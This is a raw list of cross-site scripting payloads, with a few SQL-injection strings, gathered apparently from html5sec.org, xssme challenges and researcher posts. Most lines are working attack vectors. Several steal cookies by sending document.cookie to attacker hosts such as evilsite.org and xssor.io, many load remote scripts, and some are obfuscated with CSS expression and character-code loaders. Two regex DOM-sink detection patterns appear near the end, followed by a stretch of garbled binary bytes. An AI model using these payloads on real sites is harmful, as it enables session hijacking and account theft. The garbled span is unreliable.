<script> document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script>
<script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script>
"><script>document.location='http://your.site.com/cgi-bin/cookie.cgi?'???.cookie</script>
<SCRIPT>document.write("XSS");</SCRIPT>
<script for=document event=onreadystatechange>getElementById('safe123').click()</script>
<SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT>#
<script for=_ event=onerror()>alert(/@ma1/)</script><img id=_ src=> #IE
<script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script>
<script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) alert(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> #
<script> (function (o) { function exploit(x) { if (x !== null) alert('User cookie is ' %2B x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script>
<script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script>
<script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<script?=">"?="http://yoursite.com/xss.js?69,69"></script>
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<script itworksinallbrowsers>/*<script* */alert(1)</script
<script itworksinallbrowsers>/*<script* */alert(1)</script ?
'""><script language="JavaScript"> alert('X nS nS');</script>
<script language="JavaScript">alert('XSS')</script>
<script language=vbs></script><img src=xx:x onerror="::alert' @insertScript '::">
scriptlet.html"></LAYER>
<script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script>
<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="??(document.cookie)</script>
<script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script>
<script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script>
<script>RuntimeObject("w*")["window"]["alert"](1);</script> IE a new method get window object! by @s_hskz
< script > < / script>
</script><script>alert(1)</script>
</script></script><<<<script><>>>><<<script>alert(123)</script>
<script/src=data:text/javascript,alert(1)></script>
<script/src=data:text/javascript,alert(1)></script> ?
<script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script ????????????
<script src="data:text/javascript,alert(1)"></script>
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
<script src="http://www.evilsite.org/cookiegrabber.php"></script>
<script> src="http://www.site.com/XSS.js"></script>
'>"><script src = 'http://www.site.com/XSS.js'></script>
<script src=http://yoursite.com/your_files.js></script>
<script/	 src='https://dl.dropbox.com/u/13018058/js.js' /	></script>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script>var location={};</script>
<script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click(test); </script>
<script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script>
<script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
<script>var var = 1; alert(var)</script>
<script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>
<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22); xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) ) alert(c[1]); }catch(e){} }; xdr.send(); </script>
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>#
<script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _alert = alert;alert = function() { alert = _alert };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });alert(get());})();};safe123.click();</script>#
<script> var+x+=+showModelessDialog+(this); alert(x.document.cookie); </script>
'<script>window.onload=function(){document.forms[0].message.value='1';}</script>
<script x> alert(1) </script 1=2
<script x> alert</script 1=2
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});alert(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script>
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script>
<script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script>
<scrscriptipt>alert(1)</scrscriptipt>
<scr<script>ipt>alert('XSS');</scr</script>ipt>
'></select><script>alert(123)</script>
setTimeout(['alert(/@garethheyes/)']); #chrome #safari #firefox
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
SRC
src="http://www.site.com/XSS.js"></script>
ß=ss <a href="http://ß.lv">click</a> by @_cweb
</style  ><script   :-(>/**/alert(document.location)/**/</script   :-(
<style>@import//evil? >>>steal me!<<< scriptless by @garethheyes
<style>@import'javascript:alert("XSS")';</style>
<STYLE>@import'javascript:alert("XSS")';</STYLE>
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<style/onload=<!--	> alert (1)>
<style/onload=prompt('XSS')
}</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
<///style///><span %2F onmousemove='alert(1)'>SPAN
<style>//<!--</style> -->*{x:expression(alert(/@jackmasa/))}//<style></style>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<svg contentScriptType=text/vbs><script>MsgBox
<svg contentScriptType=text/vbs><script>MsgBox+1
<svg contentScriptType=text/vbs><script>MsgBox"@insertScript"<i> #IE9 #svg #vbscript
<svg/onload=alert(1)
<svg><oooooo/oooooooooo/onload=alert(1) > by @jackmasa
<sVg><scRipt %00>alert(1) {Opera}
<svg><script ?>alert(1)
<svg><script>a='<svg/onload=alert(1)></svg>';alert(2)</script> by @0x6D6172696F , @jackmasa
<svg><script>location=<>javascript&#x3A;alert(1)<!/></script> #Firefox #JustForFun
<svg><script>/**/alert(' @0x6D6172696F ')//*/</script></svg>
<svg><script>//
confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<svg><script onlypossibleinopera:-)> alert(1) #opera by @soaj1664ashar
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<svg><script/XL:href= data:;;;base64;;;;,<>啊YWx啊lc啊nQ啊oMSk啊=> mix! #opera by @jackmasa
<svg><script xlink:href="data:,alert(1)"> by @0x6D6172696F
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<svg><style>{font-family:'<iframe/onload=confirm(1)>'
<svg><style>*{font-family:'<svg onload=alert(1)>';}</style></svg>
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera}
<svg></ y="><x" onload=alert('@0x6D6172696F')> #svg
t
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<textarea id=ta onfocus=%22write('<script>alert(1)</script>')%22 autofocus></textarea>
<textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520alert(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>
<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
</textarea>'"><script>alert(document.cookie)</script>
</textarea><script>alert(/xss/)</script>
Timing vector <img src=//ixss.sinaapp.com/sleep.php>
'"></title><script>alert(1111)</script>
</title><script>alert(/xss/)</script>
toUpperCase XSS document.write('<ı onclıck=alert(1)>asd</ı>'.toUpperCase()) by @jackmasa
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
tt p://6	6.000146.0x7.147/">XSS</A>
Universal URL spoofing data:;//mmme.me/view/1#1,2 #firefox #safari #opera
[url=javascript:alert('XSS');]click me[/url]
URL-redirect vuln == XSS ! Location:data:text/html,<svg/onload=alert(document.domain)> #Opera @jackmasa
Use 127.1 no 127.0.0.1 by @jackmasa
Using IE XSS filter or Chrome xss auditor to block <meta> url redirect.
v
<var onmouseover="prompt(1)">On Mouse Over</var>
<var onmouseover="prompt(1)">On Mouse Over</var>?
#vbscript coool feature chr(&H4141)="A", Chr(7^5)=A and Chr(&O41) =‘A’ by @masa141421356
#VBScript Event Handling: [Sub XXX_OnError MsgBox " @0x6D6172696F " End Sub]
<video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23
Webkit and FF <style/onload=alert(1)>
Webkit and Opera <a href="\/www.google.com/favicon.ico">click</a>
Webkit <iframe> viewsource attribute: // <iframe viewsource src="//test.de"></iframe> by @0x6D6172696F
Webkit <svg/onload=domain=id> cross-domain and less vector! example: (JSFiddle cross to JSBin) by @jackmasa
window.alert("Bonjour !");
X
">/XaDoS/><script>alert(document.cookie)</script>
XHTML Entity Hijacking [<!ENTITY nbsp "'">] by @masa141421356
XML Entity XSS by @garethheyes
<xml ID=I><X><C><![CDATA[<IMG SRC="javas]]]]><![CDATA[><![CDATA[cript:alert('XSS');">]]]]><![CDATA[>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]]]><![CDATA[><![CDATA[cript:alert('XSS');">]]]]><![CDATA[>
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<XML SRC="xsstest.xml" ID=I></XML>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]]]><![CDATA[>SCRIPT<![CDATA[>]]]]><![CDATA[>alert('XSS');<![CDATA[<]]]]><![CDATA[>/SCRIPT<![CDATA[>]]]]><![CDATA[></foo>
<xmp><img alt="</xmp><img src=xx:x onerror=alert(1)//"> Classic vector by slacker :D
# XSS
xss:ex/*XSS*//**pression(alert("XSS"))'>
<! XSS="><img src=xx:x onerror=alert(1)//"> #Firefox #Opera #Chrome #Safari #XSS
<xss><script>alert('XSS')</script></vulnerable>
<xss:xss>XSS</xss:xss>
x”</title><img src%3dx onerror%3dalert(1)>
>"'
'';!--"<script>alert(0);</script>=&{()}
`><script>alert(0)</script>
<script>a=eval;b=alert;a(b(/i/.source));</script>
<code onmouseover=a=eval;b=alert;a(b(/g/.source));>HI</code>
<script src=http://xssor.io/xss.js></SCRIPT>
<script>location.href='http://127.0.0.1:8088/cookie.php?cookie='+escape(document.cookie);</script>
'"><img onerror=alert(0) src=><"'
<img src=http://127.0.0.1/myspace.asp>
<img src=jav ascr	ipt:al ert(0)>
<img src=jav ascr	ipt:i="x=document.createElement('script');x.src='http://xssor.io/xn.js';x.defer=true;document.getElementsByTagName('head')[0].appendChild(x)";execScript(i)>
<img src=jav ascr	ipt:i="x=docu ment.createElement('\u0053\u0043\u0052\u0049\u0050\u0054');x.src='http://xssor.io/xn.js';x.defer=true;doc ument.getElementsByTagName('head')[0].appendChild(x)";execScri pt(i)>
new Image().src="http://xssor.io/phishing/cookie.asp?cookie="+escape(document.cookie);
<iframe src=http://www.baidu.com/></iframe>
<body background=javascript:alert(/xss/)></body>
body{xxx:expression(eval(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125)))}
<style>body{width:ｅxpression(parent.document.write(unescape('%3Cscript%20src%3Dhttp%3A//xssor.io/phishing/%3E%3C/script%3E')));}</style>
a{xxx:expression(if(!window.x){alert('xss');window.x=1;})}
a{xxx:\65\78\70\72\65\73\73\69\6f\6e\28\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\27\78\73\73\27\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\3b\7d\29}
body{background:url("javascript:alert('xss')")}
body{background:url(JavAs cr
ipt:alert(0))}
<style>@im\port'\ja\vasc\ript:alert("xss")';</style>
@i\6d\70o\72\74'javascr\ipt:alert(document.cookie)';
<div style=xss:expres\sion(if(!window.x){alert('xss');window.x=1;})></div>
alert(String(/xss/).substr(1,3))
alert(/xss/.source)
<a onclick="i=createElement('iframe');i.src='javascript:alert(/xss/)';x=parentNode;x.appendChild(i);" href="#">Test</a>
x='\x61\x6c\x65\x72\x74\x28\x31\x29';new Function(x)()
<a href="javascript:alert(1)">Test</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4=">Test</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<div style="-moz-binding:url(http://xssor.io/0.xml#xss);x:expression((window.r!=1)?eval('x=String.fromCharCode;scr=document.createElement(x(115,99,114,105,112,116));scr.setAttribute(x(115,114,99),x(104,116,116,112,58,47,47,119,119,119,46,48,120,51,55,46,99,111,109,47,48,46,106,115));document.getElementById(x(105,110,106,101,99,116)).appendChild(scr);window.r=1;'):1);"id="inject">
javascript:document.scripts[0].src='http://127.0.0.1/yy.js';void(0);
<a href="javascript:x=open('http://www.xiaonei.com/');setInterval (function(){try{x.frames[0].location={toString:function(){return%20'http://xssor.io/Project/poc/docshell.html';}}}catch(e){}},3000);void(1);">Test</a>
<script/onreadystatechange=alert(1)>
<script/src=data:text/javascript,alert(4)></script>
javascript:document.cookie=window.prompt("edit cookie:",document.cookie);void(0);
<input id=11 name=s value=`aa`onclick=alert(/xss/)>
<input value:aa/onclick=alert(/xss/)>
<li style=list-style:url() onerror=alert(1)>
<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,alert(1)//#">XXX</a></body>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
<div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
[!] ie only:
<div style=width:1px;filter:glow onfilterchange=alert(1)>x
<title onpropertychange=alert(1)></title><title title=>
<!--[if]><script>alert(1)</script --> <!--[if<img src=x onerror=alert(1)//]> -->
[!] parsing error:
<!--<img src="--><img src=x onerror=alert(1)//">
<comment><img src="</comment><img src=x onerror=alert(1))//">
<![><img src="]><img src=x onerror=alert(1)//">
<style><img src="</style><img src=x onerror=alert(1)//">
<b <script>alert(1)</script>0
<x '="foo"><x foo='><img src=x onerror=alert(1)//'>
[!] special tags parsing issues, from: http://html5sec.org/#html
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<? foo="><x foo='?><script>alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
<% foo><x foo="%><script>alert(1)</script>">
[!] fuzzing tips:
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
<a href=javascript:alert(1)>XXX</a>
[!] utf-7 bom
+/v8
+/v9
+/v+
+/v/
[!] html5sec.org
<svg/onload=alert(1)>
<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>
<video><source onerror="alert(1)">
<iframe srcdoc="<svg onload=alert(1)>⃒"></iframe>
<frameset onload=alert(1)>
<title><img src="</title><img src=x onerror=alert(1)//"> // by evilcos
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<frameset onpageshow="alert(1)">
<body onpageshow="alert(1)">
<script>`</div><div>`-alert(123)</script>
<script>`</div><div>`+alert(123)</script>
<script>`</div><div>`/alert(123)</script>
<script>`</div><div>`%alert(123)</script>
<script>`</div><div>`==alert(123)</script>
<script>`</div><div>`/=alert(123)</script> # Only Edge
<script>`</div><div>`*=alert(123)</script> # Only Edge
<img/src=="x onerror=alert(1)//">
<div/style=="x onclick=alert(1)//">XSS'OR
<div style=behavior:url(" onclick=alert(1)//">XSS'OR
<div style=x:x(" onclick=alert(1)//">XSS'OR
<div> <a href=/**/alert(1)>XSS</a><base href="javascript:\ </div><div id="x"></div>
<div><base href="javascript:/"><a href=/**/alert(1)>XSS</a></div>
<div><base href="javascript:\"><a href=/**/alert(1)>XSS</a></div>
<div><base/href=javascript:/><a href=/*'"+-/%~.,()^&$#@!*/alert(1)>XSS</a></div>
<noembed><img src="</noembed><iframe onload=alert(1)>" /></noembed>
[!] More will be added......
[!] By evilcos
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC= onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<IMG SRC=javascript:alert(
'XSS')>
<IMG SRC=javascript:a&
#0000108ert('XSS')>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
\";alert('XSS');//
</script><script>alert('XSS');</script>
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
¼script¾alert(¢XSS¢)¼/script¾
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
0\"autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>"-confirm(3)-"
veris-->group<svg/onload=alert(/XSS/)//
#"><img src=M onerror=alert('XSS');>
element[attribute='<img src=x onerror=alert('XSS');>
[<blockquote cite="]">[" onmouseover="alert('RVRSH3LL_XSS');" ]
%22;alert%28%27RVRSH3LL_XSS%29//
javascript:alert%281%29;
<w contenteditable id=x onfocus=alert()>
alert;pg("XSS")
<svg/onload=%26%23097lert%26lpar;1337)>
<script>for((i)in(self))eval(i)(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt>
<sCR<script>iPt>alert(1)</SCr</script>IPt>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>/(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModelDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\W)|(localStorage|sessionStorage|Database)/
/((src|href|data|location|code|value|action)\sU["'\]]*\s*\+?\s*=)|(replace|assign|navigate|getResponseHeader|open(Dialog)?|showModelDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\s*["'\]]*\s*\()/
CWSi xeTRFږe1@44 d0!R n _$à,
+If:I'kr^Ы+ L4=;~g9_ ` Nq 'ם#q<0-V/*}ϳ[4:u.Ύ$7f5fO*퀠C\1lϠ :^T*7zKj 3Td@,ϕ#ԖNضMC>4} +RMxgF/xd%G:`-ھ&* HC4*S pi Y*!أ/6obr/I$]G'JlbSn4CuOOiXX _.^woN_wD`U: 8>|F̕`w,Yi~r;zළl fwPC*UAIElibxa] sCaTCԈ#nշ#sQwwu h&'D :w
:^ 6M:6#cu|&7v>8 $h]W XߩgݘC6)f-ma|."ILfnJMYޖ.X(B&numY5vB
a,( qEBY J#W$'I1 BqII%Ԥ37I"xo*nSJ}iJwI{ mzY^6ۛ_@V1KWJNj\rn ayP~P.Kߔr >Jgyc) exQGB ỵ2 hG H y /wl86)<:S`v s |)4_B(-CD~/459Ӵu q:(HGOql?6J\ ד 7> D( 0,Lx$7{ 8&`g"m(.JA/JQ/ʜ>'+|x VcqZ7e?S'
<font style='color:expression(alert('XSS'))'>
' or 2=2
" or 202
";eval(unescape(location))//# %0Aalert(0)
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
alert(1)
&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<img src=x:x onerror=alert(1)>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
<SCRIPT SRC=//xss.rocks/.j>
'); alert('XSS
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<body onLoad="alert('XSS');"
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>?
<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe> ?
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); alert(Safe.get());</script>
<iframe src=http://xss.rocks/scriptlet.html <
<IMG DYNSRC=\"javascript:alert('XSS')\">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC=java%00script:alert(\"XSS\")>
<img src=x onerror="javascript:alert('XSS')">
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT\s" != "<SCRIPT/XSS\s';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script>
<script> (function (o) { function exploit(x) { if (x !== null) alert('User cookie is ' %2B x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script>
<script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) alert(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> #
<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22); xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) ) alert(c[1]); }catch(e){} }; xdr.send(); </script>
